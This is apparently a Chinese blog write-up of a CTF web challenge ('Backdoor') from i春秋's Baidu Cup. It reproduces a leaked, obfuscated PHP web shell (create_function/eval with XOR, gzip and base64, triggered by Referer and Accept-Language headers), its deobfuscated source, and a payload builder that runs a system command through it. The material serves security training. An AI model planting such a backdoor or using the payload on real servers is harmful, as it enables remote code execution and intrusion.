i春秋 “百度杯”CTF比赛 十月场 Backdoor

欢迎扫码关注微信公众号
回复关键字【资料】获取各种学习资料

i春秋 “百度杯”CTF比赛 十月场 Backdoor

https://www.ichunqiu.com/battalion?t=1&r=0

这道题应该是我目前遇到的最有难度的一道题了,不过解题过程很有意思

首先还是进入题目链接,根据题目提示去查看网站目录下的敏感文件,我尝试了flag.php,但并未得到有价值的提示,然后我们再尝试一下敏感目录,当我在Challenges下输入.git的时候,出现了403 Forbidden错误,说明网站中存在该目录,网上查询.git目录的目录结构,然后在题目链接中尝试了各种文件,但还是毫无头绪,最后还是看了write up,才知道要使用githack这款工具来下载网站.git目录下的所有文件,然后使用git的版本控制功能来回滚到某一版本,使用git reset --hard 版本号,(注意,此命令应该在得到的.git目录下执行)版本号可以在此文件中得到:

http://584d618ceeff4dbf825dc1f934c34b531faebf24434c4031.game.ichunqiu.com/Challenges/.git/logs/HEAD

那些很长的字符串就是版本号:
i春秋 “百度杯”CTF比赛 十月场 Backdoor

经过回滚之后我们,就可以得到之前版本的flag.php,查看内容:

<?php
echo "flag{true_flag_is_in_the_b4ckdo0r.php}";
?>

我们顺藤摸瓜,访问b4ckdo0r.php文件,出现页面:

can you find the source code of me?

源代码中也无任何提示,既然是文件泄露,我们就尝试b4ckdo0r.php.swob4ckdo0r.php.swp文件,这两个都是vim在编辑过程中产生的缓存文件,果然找到了b4ckdo0r.php.swo,我们直接使用vim-r选项恢复该文件
i春秋 “百度杯”CTF比赛 十月场 Backdoor

回车即可得到b4ckdo0r.php的内容,将内容拷贝至b4ckdo0r.php文件中(需要我们自己在下载下来的网站根目录下手动创建),查看文件内容:

<?php
echo "can you find the source code of me?";
/**
 * Signature For Report
 */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
 */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
 */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
 */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
 */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
 */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/*
 */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/*
 */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/*
 */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
 */$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/*
 */$y=str_replace('b','','crbebbabte_funcbbtion');/*
 */$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
 */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
 */$v=$y('',$L);$v();/*
 */
?>                     

第一眼看上去很乱,但是稍微看一下,就会发现这其实是把字符串放到了变量中而已,我们修改源代码,输出$y$L即可知道源代码到底是怎么回事了,这个输出操作也需要在网站目录中执行php b4ckdo0r.php(就是我们使用githack)下载下来的网站目录,如果在本地环境中执行的话,会有一部分代码显示不出来,具体原因我也不太清楚,在本地环境中输出的时候,代码的最后是一个变量$d,但是源代码中之前并没有出现过$d,怀疑是其他文件中的变量,但是在源代码中也没有发现require或者include关键字,因此我也没有想明白是怎么回事

<?php
$kh="4f7f";
$kf="28d7";
function x($t,$k)
{
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0; $i<$l;)
    {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++)
        {
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra)
{
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    if($q&&$m)
    {
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));
        $f=$sl($ss(md5($i.$kf),0,3));
        $p="";
        for($z=1; $z<count($m[1]); $z++)$p.=$q[$m[2][$z]];
        if(strpos($p,$h)===0)
        {
            $s[$i]="";
            $p=$ss($p,3);
        }
        if(array_key_exists($i,$s))
        {
            $s[$i].=$p;
            $e=strpos($s[$i],$f);
            if($e)
            {
                $k=$kh.$kf;
                ob_start();
	        //重点是这一行,可以执行命令的哟
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

这个就是$L的内容,$ycreate_function,就是创建一个方法,方法体就是$L,因此我们只要看懂$L是在干什么就行了

function x就是讲两个参数进异或运算,将结果返回,这个的加解密是很简单的,因为异或运算就是有这样的特性
很明显的,我们的突破点就是HTTP头部中的两个字段Accept-LanguageReferer

通过输出中间结果我们知道代码中的preg_match_all函数,把Accept-Language分成了三部分,也就是包含了三个数组的数组,在本题中我们只关心m[1]m[2],因为代码中用到了这两个数组
代码中的这两个部分限制了我们必须要把$p的前3个字符和最后3个字符限定为$h$f
i春秋 “百度杯”CTF比赛 十月场 Backdoor

$i=$m[1][0].$m[1][1]; 
$h=strtolower(substr(md5($i.$kh),0,3));
$f=strtolower(substr(md5($i.$kf),0,3));

m[1]数组中存的是Accept-Language中语言的首字母,顺便解释一下,语言后面的小数,它代表相应语言的权重,1为最大值,m[2]数组中存的就是小数点后的那一个数字,我们可以通过控制这个数值来操控$p的值,因为是从$q中取值,因此我们的payload就可以直接放在$q中,然后通过$p.=$q[$m[2][$z]]payload放到$p中,因为$z是从1开始的,所以我们要保证count($m[1])的值至少为2,所以在构造Accept-Language字段的时候,我们可以构造出两种语言,而且第二个语言的权重值为0.1,这样就会把$q数组中索引为1的元素放到$p

自然而然地,我们在构造$q的时候,只需要有两个元素就行了,第一个元素是填充的,因为派不上用场,所以它的值随意,第二个元素就应该是我们的payload

php$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$u=parse_url($rr); 
parse_str($u["query"],$q); 
$q=array_values($q); 

我把源码中处理$q的代码放到了一起,他就是把Referer字段中的url中的查询部分的值取出来做成了一个数组
query部分其实就是url中的参数部分,如下:
http://test.test.com/?a=1&b=2
最终$q中存放的就是[0] => "1", [1] => "2",而我们要做的就是把"2"替换成我们的payload,最后就可以进入到eval函数中,执行我们想要执行的代码了

下面给出payload的构造代码,以及输出结果的解密代码

<?php 
function x($t,$k)
{
	$c=strlen($k);
	$l=strlen($t);
	$o="";
	for($i=0;$i<$l;)
	{
		for($j=0;($j<$c&&$i<$l);$j++,$i++)
		{
			$o.=$t{$i}^$k{$j};
		}
	}
	return $o;
}

$key="4f7f28d7";

$cmd = 'system("cat this_i5_flag.php");';
$o=x(gzcompress($cmd), $key);
$payload=base64_encode($o);
//其实我感觉这一刚代码有没有都无所谓,这只是把 / 和 + 替换成 _ 和 -,如果本来就有 _ 和 - 的话,在b4ckdo0r.php中还是会被替换掉,导致结果错误,但是本题中没有这种情况,因为一共就执行了两条命令,且使用base64加密之后并未出现 _ 和 - 字符
preg_replace(array("/\//","/\+/"),array("/_/","/-/"), $payload);
echo "675".$payload."a3e";
 
echo "<br />";  

$output='TPqE1x3wTNfRNH6te3Qzh2E2MLfnHu1Rvc+x7xuCcn6ioI1ANP4tjb3v8U+IXsIRsvDRDxu+4iHS092wjmSSQWhmVzQjBQ==';
$o=x(base64_decode($output),$key);

echo gzuncompress($o);

就是简单的逆向代码,不过不知道为什么我在浏览器中运行该代码的时候会出现问题,就是输出揭秘出来的是乱码,第一行是我们的payload,没什么问题,但第二行本应该是命令执行结果,结果却是一堆乱码
i春秋 “百度杯”CTF比赛 十月场 Backdoor

然后我把它放到了Ubuntu中直接使用php运行,输出了正确结果:
i春秋 “百度杯”CTF比赛 十月场 Backdoor

如果有谁知道原因,麻烦告诉我
???

上一篇:Bugku CTF_web4


下一篇:CTF流量分析题